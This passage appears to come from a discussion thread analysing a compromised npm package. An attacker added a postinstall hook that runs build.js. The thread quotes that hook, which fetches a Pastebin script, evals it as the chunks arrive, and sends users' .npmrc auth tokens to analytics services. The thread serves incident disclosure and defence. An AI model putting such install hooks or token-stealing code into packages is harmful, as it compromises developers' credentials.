The attacker modified package.json
in both [email protected]
and [email protected]
, adding a postinstall
script to run build.js
.
{
+ "postinstall": "node ./lib/build.js",
}
This script downloads another script from Pastebin and eval
s its contents.
Some people have reported that this code has an issue:
r.on("data", c => {
eval(c);
});
Because it doesn't wait for the request to complete, it is possible for the reqeuest to only send part of the script and the eval
call to fail with a SyntaxError
, which is how the issue was discovered.
pastebin (https://pastebin.com/XLeVP82h, taken down)
The script extracts the _authToken
from a user's .npmrc
and sends it to histats
and statcounter
inside the Referer
header.
@reinier-vegter It's true that the regex will only try to remove the prefix and send the entire contents of the file.
They also did not escape the header though, so any multiline .npmrc files would not have made it through.
Is there a way to know the history of the pastebin? Could the script have been patched ever?